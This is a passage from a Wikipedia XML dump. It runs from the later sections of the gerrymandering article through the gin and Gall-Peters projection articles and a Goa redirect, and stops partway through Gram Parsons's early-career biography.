In contrast to proportional methods, if a nonproportional voting system with multiple winners (such as a form of [[bloc voting]]) is used, then increasing the size of the elected body while keeping the number of districts constant will not reduce the amount of wasted votes, leaving the potential for gerrymandering the same.  Merging districts together under such a system, however, can reduce the potential for gerrymandering, but doing so also amplifies the effect of bloc voting's tendency to produce [[landslide victories]], which has a similar effect in concentrating wasted votes among the opposition and denying them representation.

If a system of single-winner elections is used, then increasing the size of the elected body will implicitly increase the number of districts to be created.  This can actually make gerrymandering easier when raising the number of single-winner elections, as opposition groups can be more efficiently packed into smaller districts without accidentally including supporters, further increasing the number of wasted votes amongst the opposition.

===Using fixed districts===
Another possible method of avoiding further gerrymandering is to simply avoid redistricting altogether and continue to use existing political boundaries such as state, county, or provincial lines. Doing this makes further increasing electoral advantage by changing boundaries impossible, however any existing advantage may become deeply ingrained. The [[United States Senate]], for instance, has far more competitive elections than the House of Representatives due to the use of existing state borders rather than gerrymandered districts, however several states often resemble packed districts from the national perspective due to their slant towards a particular party.

The use of fixed districts creates an additional problem, however, in that fixed districts do not take in to account changes in population and individual voters can therefore grow to have vastly different degrees of influence on the legislative process.  This [[malapportionment]], in turn, can have a particularly focused effect on representation after long periods of time or large population movements.  The United States Senate, for instance, provides nearly 66 times the representation to voters in the state of Wyoming than voters in the state of California, making it the most malapportioned directly-elected legislative body in the developed world.  In the United Kingdom during the [[Industrial revolution]], several districts which had been fixed since the formation of the [[Parliament of the United Kingdom|British Parliament]] became so small that they could be won with only a handful of voters (''[[rotten borough]]s'').

[[Image:Illinois District 4 2004.png|thumb|250px|right|The unusual &quot;earmuff&quot; shape of the 4th Congressional District of [[Illinois]] connects two Hispanic neighborhoods while remaining continuous by narrowly tracing [[Interstate 294]].]]

===Establishing objective rules for the creation of districts===
Another avenue of tying the hands of potential gerrymanderers is to create objective, precise criterion to which any district map must comply.  Courts in the United States, for instance, have ruled that congressional districts must be continuous in order to be constitutional.  This, however, is not a particularly binding constraint, as very narrow strips of land with little or no voters in them may be used to connect separate regions into the same district. &lt;!-- other rules: equal population, concave.  also note these rules are either not implemented, or not enforced. --&gt;

{{sect-stub}}

==Gerrymandering computer technology==
The introduction of modern [[computer]]s and the development of elaborate [[voter database]]s alongside special districting software has made gerrymandering a far more precise science.  Using these databases, politicians can obtain detailed information about every household including political party registration, previous campaign donations, and the number of times residents voted in previous elections.  Using this information alongside other predictors of voting behavior such as age, income, race, or education level, drawers of a new electoral map can predict the voting behavior of each potential district with an astonishing degree of precision, greatly increasing the efficiency of gerrymandering and reducing the chance of accidentally making a district competitive.
:''See also: [[Geographic information system]]''

{{sect-stub}}

==National historical examples==

===Gerrymandering in the United States===
[[Image:TravisCountyDistricts.png|thumb|300px|left|U.S. congressional districts covering [[Travis County, Texas]] (outlined in red) in 2002, left, and 2004, right. In 2003, Republicans in the Texas legislature redistricted the state, diluting the voting power of the heavily Democratic county by parceling its residents out to more Republican districts.]]
The United States has been subject to gerrymandering since the initial carving of [[territory|territories]] into [[US states]].  Combined with [[Apportionment (politics)|malapportionment]] rules for representation in the [[United States Senate|Senate]] and [[U.S. Electoral College|Electoral College]], gerrymandering allowed the United States Congress significant amounts of control over its own political makeup.  Prior to the [[American Civil War]], with the contentious issue of [[History of slavery in the United States|slavery]] dividing the Congress, states were admitted on a formula of &quot;one free state for each slave state&quot; in order to prevent one side from gaining the upper hand. This nearly prevented the state of [[Maine]] from seceding from [[Massachusetts]] until the [[Missouri Compromise]] was agreed upon, and it was decided that [[Texas]] and [[California]] would both enter as single, but large, states. 

The practice of gerrymandering the borders of new states continued past the Civil War and into the late 19th century, where the territories of the [[Rocky Mountains]] were split up into relatively small states to help the [[United States Republican Party|Republican Party]] maintain control of the Presidency - each new state brought in three [[U.S. Electoral College|electoral votes]] regardless of its population size (Compare a map of the United States in 1860 [http://www.lib.utexas.edu/maps/united_states/us_terr_1860.jpg] with a map from 1870 [http://www.lib.utexas.edu/maps/united_states/us_terr_1870.jpg]). &lt;!-- These images need to be put in wikimedia commons, rather than external links--&gt;

Throughout U.S. history, the possibility of gerrymandering has made the process of [[redistricting]] extremely politically contentious within the United States.  Under U.S. law, districts for members of the [[United States House of Representatives|House of Representatives]] are redrawn every ten years following each [[census]]; it is common practice for state legislative boundaries to be redrawn at the same time.  Intense political battles over contentious redistricting typically take place within state legislatures responsible for creating the electoral maps, however federal courts are often also involved.  Sometimes this process creates strange bedfellows interested in securing reelection; in some states, Republicans have cut deals with opposing black Democratic state legislators to create majority black districts.  By packing black Democratic voters into a single district, these districts essentially ensure the election of a black Congressman or reelection of a black state legislator, however due to the packed concentration of Democratic voters the surrounding districts are more safely Republican.

Ironically, this kind of gerrymandering along racial lines has been used to both increase and decrease minority representation in state governments and congressional delegations.

====Voting Rights Act of 1965====
After the Civil War, with the rewarding of voting rights to freed slaves, state legislatures turned to racial gerrymandering and [[poll tax]]es to disenfranchise minorities, most of whom were in geographically distinct areas.  Eventually, these practices led to a major civil rights conflict; gerrymandering for the purpose of reducing the political influence of a racial or ethnic minority group became illegal in the United States under the [[Voting Rights Act of 1965]] (along with poll taxes by the [[Twenty-fourth Amendment to the United States Constitution|Twenty-fourth Amendment]] in 1964), however gerrymandering for political gain remained legal.

After the Voting Rights Act, racial gerrymandering has still been used to create &quot;majority-minority&quot; districts.  Using this practice, also called &quot;affirmative gerrymandering&quot;, these districts were created with the stated purpose of redressing previous discrimination to ensure higher ethnic minority representation in government. Since the 1990s, however, gerrymandering based solely on race has been ruled unconstitutional by the [[Supreme Court of the United States|US Supreme Court]] under the [[Fourteenth Amendment to the United States Constitution|Fourteenth Amendment]] first by [[Shaw v. Reno]] (1993) and subsequently by [[Miller v. Johnson]] (1995).  The constitutionality of racial considerations in creating districts remains ambiguous, however; in [[Hunt v. Cromartie]] (1999), the Supreme Court approved a racially focused congressional gerrymandering on the grounds that the drawing was not pure racial gerrymandering but instead partisan gerrymandering, which is constitutionally permissible.

===Gerrymandering in Northern Ireland===
&lt;!-- Dates are needed here --&gt;

A particularly famous case of gerrymandering occurred in [[Northern Ireland]], where the [[Ulster Unionist Party]] [[Parliament of Northern Ireland|government]] created electoral boundaries for the [[Londonderry County Borough Council]] which, coupled with continuing non-universal voting rights based on economic and property status across Northern Ireland, ensured the election of a [[Unionists (Ireland)|unionist]] council in a city where [[Irish nationalism|nationalists]] were in the overwhelming majority. Coupled with a policy that gave council houses to unionists at the expense of nationalists all over [[Northern Ireland]] (in one famous case, giving a council house to a single [[Protestant]] woman employed by the UUP rather than a large [[Catholic]] family who were at the head of the list), this policy of gerrymandering produced the ''[[Northern Ireland Civil Rights Association]]''. The refusal of the government to consider equal rights in local government and an end to gerrymandered discrimination led indirectly to the tumultuous time known as ''[[The Troubles]]''.  

In 1929 the [[Parliament of Northern Ireland]] passed a Bill returning  the local electoral system from the relatively proportional [[Single Transferable Vote]] (where seat numbers approximately equate to vote percentage) first introduced in [[Sligo]] in 1918 and throughout Ireland in 1919 to the less proportional [[First Past the Post]] or [[block voting]] systems (where the seat percentage does not always equate even closely to the percentages.) The only exception was for the election of four Stormont MPs to represent [[Queen's University, Belfast]]). The [[United Kingdom|British]] Government was so opposed to the change, which it viewed as the abolition of the electoral safeguards provided in the ''[[Government of Ireland Act 1920]]'', that it advised the King's representative in Northern Ireland, the [[Governor of Northern Ireland]] to withhold the [[Royal Assent in Northern Ireland|Royal Assent]] from the legislation. After a major row the British government backed down and advised the Governor to sign the Bill into law. 

Allegations have been made that the boundaries were gerrymandered to under represent Nationalists, though some geographers and historians (for instance Professor [[John H. Whyte]] [http://cain.ulst.ac.uk/issues/discrimination/whyte.htm]  [http://www.ark.ac.uk/elections/hnihoc.htm]) have strongly challenged allegations of gerrymandering in Northern Ireland-wide parliamentary elections, arguing that the electoral boundaries for the [[Parliament of Northern Ireland]] were not gerrymandered to a greater level than that produced by any single-winner election system and that the number of Nationalist MPs barely changed with the system. The change to single-member seats is generally acknowledged however as being a key factor in stifling the growth of smaller groups such as the [[Northern Ireland Labour Party]] and independent Unionists. 

The Parliament of Northern Ireland and its government were abolished in 1973, and STV was restored for elections to the Northern Ireland Assembly. Currently in Northern Ireland, only elections to the Westminister parliament do not use STV, following the pattern in the rest of the United Kingdom by using First Past the Post.

===Republic of Ireland, &quot;Tullymandering&quot;===
In the [[Republic of Ireland]], in the mid-1970s, the Minister for Local Government, [[James Tully]], attempted to arrange constituencies to ensure that the governing [[National Coalition]] would win a parliamentary majority. This was planned as a major reversal of previous gerrymandering by the [[Fianna Fáil]] party (then in opposition). Tully ensured that there were as many as possible three-seat constituencies where the governing parties were strong, in the expectation that the governing parties would each win a seat in many constituencies, relegating the [[Fianna Fáil]] party to one out of three. In areas where the governing parties were weak four-seat constituencies were used so that the governing parties had a strong chance of winning two still. In fact the process backfired spectacularly due to a larger than expected collapse in the vote, with Fianna Fáil winning a landslide victory, two out of three seats in many cases, relegating the National Coalition parties to fight for the last seat. Consequently, the term '''tullymandering''' was used to describe the phenomenon of a failed attempt at gerrymandering.

===Gerrymandering in Germany===
When the electoral districts in [[Germany]] were redrawn in 2000, together with the administrative districts, the ruling Social-Democrat Party [[Social Democratic Party of Germany|SPD]] was accused of gerrymandering to marginalize the socialist [[Left Party (Germany)|PDS]] party in its strongholds in eastern [[Berlin]] by combining them into new districts with more populous areas of western Berlin, where the PDS had very limited following. After winning four seats in Berlin in the 1998 national election, the PDS kept only two of them after the following 2002 elections. This caused the PDS to drop out of the [[Bundestag]], the German federal [[parliament]] (as a party; the individually elected representatives held their seats). Under German electoral law a [[political party]] has to win either more than five percent of the votes or at least three seats to move in. In the election  of 2005 the PDS (renamed &quot;Left Party&quot;) managed to get 8,7% of the votes and thus moved back in.

&lt;!--Ugly paragraph--&gt;However, the number of Bundestag seats of parties which traditionally get over 5% of the votes can't be affected very much by gerrymandering, because seats are awarded to these parties on a proportional basis. Only when a party wins so many districts in any one of the 16 federal states that those seats alone count for more than its proportional share of the vote in that same state does the districting have some influence on larger parties - those extra seats, called &quot;Überhangmandate&quot;, remain.

===Gerrymandering in Canada===
Early in Canadian history gerrymandering at both the federal and provincial levels was common. Over time this has been largely eliminated as responsibility for drawing electoral boundaries was handed over to independent agencies. The first to do this was [[Manitoba]] in the 1950s with the federal government delegating the drawing of boundaries to the &quot;arm's length&quot; [[Elections Canada]] in 1964. Today gerrymandering is not a major issue in Canada.

There is some debate and minor conterversy about gerrymandering at the provincial level in Quebec on the Island of [[Montreal]] where some Liberal Party members argue that the ridings (electoral districts) have been drawn to elect as few Liberals as possible, especially in the western part of the islamd.

==See also==
*[[Representation (politics)|Representation]]
*[[Redistricting]]
*[[Will Rogers phenomenon]]

==External links==
*[http://www.fairvote.org/articles/bbcnews100804.htm Gerrymandering in the US]
*[http://www.abc.net.au/elections/federal/2004/items/200408/s1172393.htm Anti-Gerrymandering policy in Australia]
*[http://www.westmiller.com/fairvote2k/in_gerry.htm A collection of bizarre and unconstitutional districts from recent history, dedicated to Governor Eldridge Gerry.]
*[http://www.worldpolicy.org/globalrights/democracy/2003-0529-CSM-gerrymandering.html Beyond gerrymandering and Texas posses: US electoral reform]
*[http://www.commoncensus.org The CommonCensus Map Project] - Draws internal US boundaries based on cultural affinities, not politics

[[Category:Pejorative political terms]]
[[Category:Political corruption]]
[[Category:Portmanteaus]]
[[Category:Voting systems]]

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  </page>
  <page>
    <title>Gin</title>
    <id>12988</id>
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      <timestamp>2006-02-28T19:35:09Z</timestamp>
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      <comment>rm link spam</comment>
      <text xml:space="preserve">[[Image:Gin and Tonic.jpg|thumb|[[Gin and tonic]]]]

:''This article concerns the beverage. For other uses see [[Gin (disambiguation)]].''

'''Gin''' is a [[distilled beverage|spirit]], or strong [[alcoholic beverage]]. It is made from the distillation of white grain spirit and [[juniper]] berries, which provide its distinctive flavour. The taste of ordinary gin is very [[dry (property of alcohol)|dry]], and as such it is rarely drunk on its own.  It should not be confused with [[sloe gin]], a sweet liqueur traditionally made from [[sloe]] berries (blackthorn fruit) infused in gin.

The most common style of gin, typically used for mixed drinks, is &quot;London dry gin&quot;, which refers not to brand, marque, or origin, but to a distillation process.  London dry gin is a high proof spirit, usually produced in a [[column still]] and redistilled after the [[botanicals]] are added to the base spirit. In addition to juniper, it is usually made with a small amount citrus botanicals like lemon and [[bitter orange]] peel. Other botanicals that may be used include [[anise]], [[angelica]] root, [[orris]] root, [[cinnamon]], [[coriander]], and [[cassia]] bark.

A well-made gin will be very dry with a smooth texture lacking in harshness. The flavor will be harmonious yet have a crisp character with a pronounced Juniper flavor.

Other types of gin include [[Jenever]] (Dutch gin), Plymouth gin, and Old Tom gin (said to approximate the pot-distilled 18th century spirit).

== History ==
Gin originated in the [[Netherlands]] in the [[17th century]] - its invention is often credited to the physician [[Franciscus Sylvius]]. From there it spread to [[England]] after the [[Glorious Revolution]] put a Dutchman on the English throne. Dutch gin, known as ''jenever'', is a distinctly different drink from English-style gin; it is [[Distillation|distilled]] with [[barley]] and sometimes aged in wood, giving it a slight resemblance to [[whisky]]. [[Schiedam]], in [[South Holland]], is famous for its [[jenever]].  Jenever is produced in a [[pot still]] and is typically lower in alcohol and more strongly flavored than London gin. 
[[Image:GinLane.jpg|thumb|Hogarth's Gin Lane]]
Gin became very popular in England after the government created a market for poor quality grain that was unfit to be used in brewing beer by allowing unlicensed gin production and at the same time imposing a heavy [[duty]] on all imported spirits. Thousands of gin-shops sprang up all over England. By [[1740]] the production of gin had increased to six times that of [[beer]] and because of its cheapness it became extremely popular with the poor. Of the 15,000 drinking establishments in [[London]] over half were gin-shops. Beer maintained a healthy reputation as it was often safer to drink the brewed ale than unclean plain water, but gin was blamed for various social and medical problems, and may have been a factor in the high death rate that caused London's previously increasing population to remain stable. The reputation of the two drinks was illustrated by [[William Hogarth]] in his engravings ''[[Beer Street]]'' and ''[[Gin Lane]]'' ([[1751]]). This negative reputation survives today in the English language; terms such as &quot;gin-mills&quot; to describe disreputable bars or calling drunks &quot;gin-soaked&quot;. The [[Gin Act 1736]] imposed high taxes on retailers but led to riots in the streets. The prohibitive duty was gradually reduced and finally abolished in [[1742]]. The  [[Gin Act 1751]] however was more successful. It forced distillers to sell only to licensed retailers and brought gin-shops under the jurisdiction of local magistrates.  Gin in the 18th century was produced in pot stills, and was somewhat sweeter than the London gin known today.  

In [[1832]] the [[column still]] was invented, and later in the 19th century the London dry style was developed.  Gin thus became a more respectable drink. In tropical English colonies, gin was used to mask the flavor of [[quinine]], a protection against [[malaria]], which was diluted in [[tonic water]]. This was the origin of today's popular [[Gin and tonic]], even though quinine is no longer effective against malaria. Many other gin-based mixed drinks were invented, including the [[martini cocktail|martini]]. Gin, in the form of secretly-produced &quot;bathtub gin&quot;, was a common drink in the [[speakeasy|speakeasies]] of [[Prohibition]]-era America due to the relative simplicity of the basic production methods. It remained popular as the basis of many [[cocktail]]s after the repeal of Prohibition.
At the present time there are numerous types and manufactures of gin, the most notable of which are listed below.  During the most recent gin-tasting competitions it was held that the relatively new [[Tanqueray|Tanqueray Ten]] was the world champion of gins followed closely by the previous world winner [[Bombay Sapphire]]. In 2005 [[South Gin]] made by Pacific Dawn Distillers of New Zealand received the ‘Grand Gold with Palm Leaves’ at the Monde Selection in Brussels rating it as the best gin in the world. 

In [[Hasselt]], [[Belgium]] is the National Gin Museum.

== Martini in Popular Culture ==
Hawkeye, Trapper and B.J. in [[M*A*S*H]] made their own gin to make martini(s) in a [[still]] in the Swamp.

==Common mixers for gin==
*[[Vermouth]] - in a [[martini cocktail|martini]]
*[[Tonic water]] - in a [[Gin and tonic]]
*[[Soda water]] - in a [[Gin Rickey]]
*[[Ginger ale]]
*[[Orange juice]]
*[[Lemon juice]]
*[[Lime (fruit)|Lime juice]]
*[[Grapefruit|Grapefruit juice]]
*[[Ginger Ale]] or [[Ginger Beer]]

== Cocktails with gin ==
*[[Martini cocktail|Martini]]
*[[Tin roof|Tin Roof]]
*[[Tom Collins]]
*[[Maiden's Prayer]]
*[[Greyhound (cocktail)|Greyhound]]
*[[Salty Dog]]
*[[Singapore Sling]]
*[[Gimlet (cocktail)|Gimlet]]
*[[Gin and Tonic]]
*[[Pimm's]] N°1.
*[[Todd's Frog]]
*[[Apoica]]
*[[Orange Blossom]]

==Premium / Famous gin brands==
[[Image:Bombay-sapphire.jpg|thumb|A bottle of [[Bombay Sapphire]] brand gin.]]
*[[Beefeater]] - first produced in [[1820]]
*Bombay - [[Distillation|distilled]] with eight botanicals
*Booth's
*[[Bombay Sapphire]] - distilled with ten botanicals
*[[Ginebra San Miguel]] - has juniper berries as its main flavor, produced by the company of the same name and is the largest-selling gin in the world although it is mainly sold in the [[Philippines]]
*[[Gordon's gin|Gordon's]]
*[[Greenall]]'s
*[[Hendrick's Gin]] - infused with cucumber, coriander, citrus peel and rose petals
*[[Plymouth gin|Plymouth]] - first distilled in [[1793]]
*[[Seagram]]'s
*[[Tanqueray]]
*[[Tanqueray Ten]]
*[[DH Krahn Gin]]
*[[Blackwood's Superior Nordic Vintage Dry Gin]]
*[[South Gin]] - triple distilled in [[New Zealand]] using nine botanicals, two of which are native: [[manuka]] berries and [[kawakawa (tree)|kawa kawa]] leaves, believed by the indigenous [[Māori]] people to offer medicinal properties

==Other gin brands and variations==
*Gin Bulag - the Philippines' most famous choice of gin. Directly translated as &quot;Blind Gin,&quot; this concoction has been aptly named after gin drunkards have been reported to lose their eyesight after three straight days of gin insobriety. 
*Anchor Junipero Gin - produced in [[California]] by [[Anchor Steam Brewery]]
*Bafferts Gin - [[Distillation|Triple-distilled]] with four botanicals in England
*Barton Gin
*Bellringer Gin - 94.4 proof English gin.
*Bols Gin
*Bombadier Military Gin
*Boodles British Gin - 90.4 proof gin
*Boomsma Jonge Genevere Gin
*Burnett's Crown Select Gin
*Caballito: Panama's finest export gin
*Cadenhead's Old Raj Gin - 110 proof gin containing a small amount of [[saffron]], which imparts a slight yellowish/greenish tint.
*Citadelle - distilled with nineteen botanicals in [[France]]
*Cork Dry
*Cascade Mountain Gin - uses hand-picked wild juniper berries, distilled in [[Oregon]]
*Demrak Amsterdam - distilled five times with seventeen botanicals
*Dirty Olive - olive-flavored
*Fleischmann's Gin - Marketed as the original American gin, first distilled in 1870
*Gilbey's London Dry Gin
*Gin Llave - Argentina's prime and extra-smooth concoction.
*Gordon's London Gin    (By Appointment To Her Majesty Queen Elizabeth II of Great Britain)
*Hamptons Gin
*Juniper Green Organic Gin - first gin made from all organic ingredients in England with four botanicals
*Leyden Dry Gin - Distilled three times in small batches, twice in [[column still]]s then in a [[pot still]]
*Quintessential
*Sarticious Gin - Dutch style gin distilled in Santa Cruz, California, orange and cilantro
*[[Steinhäger]] 
*Swordsman
*[[Van Gogh]] Gin - Dutch gin produced with ten botanicals in small batches. Triple distilled, twice in column stills then in a traditional pot still
*Gin [[Xoriguer]] - [[Minorca]]n local gin

==External links==
* [http://www.tastings.com/spirits/gin.html] A thorough article about the history and types of gin.
* [http://www.gintime.com Gintime.com]
* [http://www.victorianlondon.org/entertainment/ginpalaces.htm Gin in Victorian London]
* [http://extratasty.com/recipes/tagged/gin Recipes with Gin]
* [http://www.argace.co.nr ARGACÉ's official website] A dynamic student association from Québec that works hard to revitalise the image of Gin (particularly Holland's great jenevers)

==References==
* Patrick Dillon. ''Gin: The Much-Lamented Death of Madam Geneva: The Eighteenth Century Gin Craze''. ISBN 1932112006.

[[Category:Gins|*]]
[[Category:Dutch loanwords]]
[[Category:Alcoholic beverages]]

[[da:Gin]]
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[[he:ג'ין]]
[[ja:ジン]]
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[[zh:琴酒]]</text>
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  </page>
  <page>
    <title>Goa (state)</title>
    <id>12989</id>
    <revision>
      <id>15910633</id>
      <timestamp>2004-08-18T20:52:23Z</timestamp>
      <contributor>
        <username>Nichalp</username>
        <id>41228</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Goa]]</text>
    </revision>
  </page>
  <page>
    <title>Gall-Peters projection</title>
    <id>12990</id>
    <revision>
      <id>38518180</id>
      <timestamp>2006-02-06T21:53:38Z</timestamp>
      <contributor>
        <username>Leif</username>
        <id>95560</id>
      </contributor>
      <minor />
      <comment>/* See also */ add *[[Dymaxion map]]</comment>
      <text xml:space="preserve">[[Image:PetersMap.jpg|thumb|400px|right|Peters map]]

The Peters World Map or '''Gall-Peters projection''' is an [[Orthographic projection (cartography)|orthographic]] equal-area [[map projection]] of the [[earth]]. It was published in 1885 by [[James Gall]] in the ''Scottish Geographical Magazine'' and had been presented by Gall in 1855 at the Glasgow meeting of the British Association for the Advancement of Science (the BA).  Other projections which are essentially the same (except for the ratio of the vertical to the horizontal axis) are the ''Lambert Cylindrical Equal Area'', ''Behrmann Cylindrical Equal Area'', ''Tristran Edwards'', and ''Balthasart''. They all use the property that the [[surface area]] of a [[sphere]] and the curved surface area of the [[cylinder (geometry)|cylinder]] containing it are the same.

[[Arno Peters]], a historian, first presented his map in 1967 as a 'new invention', and promoted it as a superior alternative to the [[Mercator projection]], which shows areas very much distorted (showing [[Greenland]] somewhat larger than [[Africa]] whereas in reality Africa is 13 times as large), because the Gall-Peters projection shows equal areas equal, thus giving the tropics their rightful place on the map. This argument was picked up by many educational institutes and such, and the Gall-Peters projection is therefore in much use. Opponents of the Peters world map now concede that Peters, who died in 2002, independently reinvented the projection. According to his obituary in The Times, he acknowledged Gall's precedent in the last years of his life, and changed its name from the Peters Projection to the Peters world map.

Professional geographers, while agreeing with Peters's arguments against the Mercator projection, also find much fault with the Gall-Peters projection because to keep the equal-area, it very much distorts shapes, extending anything near the equator in the north-south, near the poles in the east-west direction. They prefer maps that make a compromise between area and shape accuracy, or that are equal-area with less shape distortion.

One obvious distortion of the Gall-Peters projection is that it stretches  [[Africa]], which in reality is about as wide east-west as it is long north-south, but in this projection appears to be almost twice as long as it is wide.

Seven North American geographic organizations in 1989 adopted the following resolution that rejected all rectangular world maps, which include both the Mercator and the Gall-Peters projections:

&lt;blockquote&gt;
&quot;WHEREAS, the earth is round with a coordinate system composed entirely of circles, and

WHEREAS, flat world maps are more useful than globe maps, but flattening the globe surface necessarily greatly changes the appearance of Earth's features and coordinate systems, and

WHEREAS, world maps have a powerful and lasting effect on peoples' impressions of the shapes and sizes of lands and seas, their arrangement, and the nature of the coordinate system, and

WHEREAS, frequently seeing a greatly distorted map tends to make it &quot;look right,&quot;

THEREFORE, we strongly urge book and map publishers, the media and government agencies to cease using rectangular world maps for general purposes or artistic displays. Such maps promote serious, erroneous conceptions by severely distorting large sections of the world, by showing the round Earth as having straight edges and sharp corners, by representing most distances and direct routes incorrectly, and by portraying the circular coordinate system as a squared grid. The most widely displayed rectangular world map is the Mercator (in fact a navigational diagram devised for nautical charts), but other rectangular world maps proposed as replacements for the Mercator also display a greatly distorted image of the spherical Earth.&quot;
&lt;/blockquote&gt;

It should be noted that there are other opinions within geography and cartography about the Peters World Map (its alternative name in some of the literature). First, some map societies, notably the North American Cartographic Information Society [[(NACIS)]] declined to endorse the 1989 resolution. Second, there are a small number of cartographers, including [[Brian Harley]], who have written positively about it. Within geography more generally, some commentators see the cartographic controversy over the Peters world map as a sign of immaturity in the cartographic profession regarding the fact that all maps are political.

Arno Peters was the son of social activists and probably gained his lifelong concern about equality from his parents, Lucy and Bruno Peters. In 1929, when Peters was 13, the famous African-American activist and NAACP field secretary [[William Pickens]] visited the family and left a signed copy of his book ''Bursting Bonds''. During the [[Second World War]], Peters' father was imprisoned by the Nazis for refusing to obey their totalitarian regime. The Peters world map stands as an interesting and controversial attempt to use cartographic imagery for progressive causes.

==On the screen==
The &quot;Peters projection map&quot; was featured in the television drama, ''[[The West Wing (television)|The West Wing]]'' (season 2, episode 16), in which the (fictitious) &quot;Organisation of Cartographers for Social Equality&quot; is given access to the [[White House Press Secretary]] due to [[Big Block of Cheese Day]].  Dr. John Fallow (actor [[John Billingsley]]) explains why the [[President of the United States]] of America should champion the use of this map in schools, because it correctly represents the size of the countries and therefore gives due prominence to countries in less developed parts of the world that are otherwise under-estimated because &quot;size matters&quot;.  Peters map sales were greatly increased by the appearance on the show.

The map is also a favorite of military strategist [[Thomas Barnett]], who has included it in his presentations of &quot;The Brief&quot; which have aired on [[C-SPAN]] in the United States.

==See also==
*[[Cartography]]
*[[Dymaxion map]]
*[[Map projection]]
*[[Mercator projection]]
*[[Nautical chart]]
*[[Robinson projection]]
*[[Transverse Mercator projection]]

==External links==
* http://www.petersmap.com
* [http://timesofindia.indiatimes.com/articleshow/1124880.cms The Size of the Matter] - An article in the [[Times of India]] on why the Gall-Peters projection should be more widely used.
* http://geography.about.com/library/weekly/aa030201a.htm - A critique of the importance of the Gall-Peters projection. 

[[Category:Cartographic projections]]

[[de:Peters-Projektion]]
[[es:Proyección de Peters]]
[[pl:Odwzorowanie walcowe równopowierzchniowe]]</text>
    </revision>
  </page>
  <page>
    <title>Gram Parsons</title>
    <id>12991</id>
    <revision>
      <id>41827505</id>
      <timestamp>2006-03-02T00:24:39Z</timestamp>
      <contributor>
        <ip>84.12.80.232</ip>
      </contributor>
      <comment>/* Discography */</comment>
      <text xml:space="preserve">[[Image:Gram parsons.jpg|thumb|Gram Parsons, wearing his [[Nudie suit]] on the lot of A&amp;M records]]
'''Gram Parsons''' ([[November 5]], [[1946]] &amp;ndash; [[September 19]], [[1973]]) was an American [[singer]], [[songwriter]], [[guitarist]] and [[pianist]] born '''Ingram Cecil Connor, III'''.  A solo artist as well as a member of both [[The Byrds]] and [[The Flying Burrito Brothers]], he is best known for a series of recordings which anticipate the so-called [[country rock]] and [[alt-country]] movements of the 1970s, 1980s and 1990s.  Wary of labels, Parsons described his records as &quot;Cosmic American Music&quot;. He died of a drug overdose at the age of 26.

==Biography==

===1946-1968===
Parsons was born Ingram Cecil Connor, III in [[Winter Haven, Florida]], the grandson of [[citrus]] fruit baron John Snively, with extensive properties both there and in [[Waycross, Georgia]], where he was raised.  A sister, Avis, soon followed. Despite all the material advantages of old Southern money, he was surrounded by a dysfunctional family in which [[alcoholism]] was rife.  His father, &quot;Coon Dog&quot; Connor, suffered mood swings and abruptly committed [[suicide]] shortly before [[Christmas Day]] [[1958]].  His wife, Avis, subsequently married a pseudo-grifter named Robert Parsons, whose [[surname]] was adopted by young Ingram, the elder Parsons going as far to have new birth certificates drawn up for his stepson and stepdaughter.  Henceforth he would be known as Gram Parsons.  For a time, the family found a stability of sorts until Avis rapidly descended into alcoholism, leading to her [[death]] from [[cirrhosis]] of the [[liver]]. 

As his family disintegrated around him, Gram developed strong musical interests.  While barely in his teens, he played in [[rock and roll]] cover bands such as the Pacers and the Legends, headlining in clubs owned by his stepfather.  By the age of 16 he graduated to [[folk music]], and in [[1963]] teamed with his first professional outfit, the Shilohs.  Heavily influenced by [[the Kingston Trio]], the band played [[Hootenanny|hootenannies]], [[coffee house|coffee houses]] and [[high school]] auditoriums.  Forays into [[New York City]]'s [[Greenwich Village]] included appearances at the [[Bitter End]].

After the band folded he attended [[Harvard University]], studying theology but departing after a semester. Despite being from the [[U.S. Southern States|South]], he first became serious about [[country music]] during his time in [[Boston, Massachusetts]]. In [[1966]], he and others from the Boston folk scene formed the [[International Submarine Band]].  The band relocated to [[Los Angeles, California|Los Angeles]] the following year, and in [[1968]] released the album ''[[Safe at Home]]'', which contains one of his best-known songs, &quot;Luxury Liner,&quot; as well as an early version of  &quot;Do You Know How It Feels&quot;, which he would reprise on the first [[Flying Burrito Brothers]] album. Of course, young Parsons had already moved on to bigger things by the time of the album's release.

===1968-1970===
By 1968, Parsons had come to the attention of [[Chris Hillman]] of [[The Byrds]] who, depleted by the firing of [[David Crosby]] and the departure of [[Michael Clarke (musician)|Michael Clarke]], were seeking new members.  Originally conceived as a history of twentieth-century music, beginning with traditional [[country music|country]], taking in [[jazz]], [[rhythm and blues|R&amp;B]], and [[rock and roll|rock]], and ending with the most advanced (for the time) form of electronic wizardry, ''[[Sweetheart of the Rodeo]]'' was their only album with Parsons as a member.  As recording plans were made, Gram- originally hired as a jazz pianist- persuaded the Byrds to leave [[Los Angeles]] and record the album in [[Nashville, Tennessee|Nashville]].  Along the way [[Roger McGuinn|McGuinn's]] plan was jettisoned in favor of a full-fledged country and western project, and included Parsons' songs such as &quot;One Hundred Years from Now&quot; and &quot;Hickory Wind,&quot; along with compositions by [[Bob Dylan]] and [[Merle Haggard]].  However, due to contractual issues, most of Parsons's vocals were removed from the final product.   Parsons left the band after refusing to play in [[apartheid]]-ridden [[South Africa]], and during this period he became friendly with [[Mick Jagger]] and [[Keith Richards]] of [[the Rolling Stones]].

Returning to Los Angeles, Parsons was soon joined by Hillman (both as rhythm guitarists), and the two formed the Flying Burrito Brothers with bassist [[Chris Ethridge]] and [[pedal steel]] player [[Sneaky Pete Kleinow]]. Their [[1969]] album ''[[The Gilded Palace Of Sin]]'' was a modernized version of the [[Bakersfield sound|Bakersfield]] style of country music made popular by [[Buck Owens]], and the band appeared on the album cover wearing [[Nudie suit|Nudie suits]] emblazoned with all sorts of hippie accoutrements.  Along with the Parsons-Hillman originals &quot;Christine's Tune&quot; and &quot;Hot Burrito #2&quot; were versions of the [[soul music]] classics &quot;The Dark End of the Street&quot; and &quot;Do Right Woman&quot;, the latter featuring David Crosby on high harmony.  Though not a commercial success, ''Gilded'' was acclaimed by [[rock critic]] [[Robert Christgau]] as &quot;an ominous, obsessive, tongue-in-cheek country-rock synthesis, absorbing rural and urban, traditional and contemporary, at point of impact.&quot; Recorded without a permanent drummer, the group soon added Michael Clarke on drums. After recording the non-album single &quot;The Train Song&quot;, which also flopped, bassist Ethridge departed and was replaced by [[Bernie Leadon]], whose joining on lead guitar moved Hillman back to bass.
 
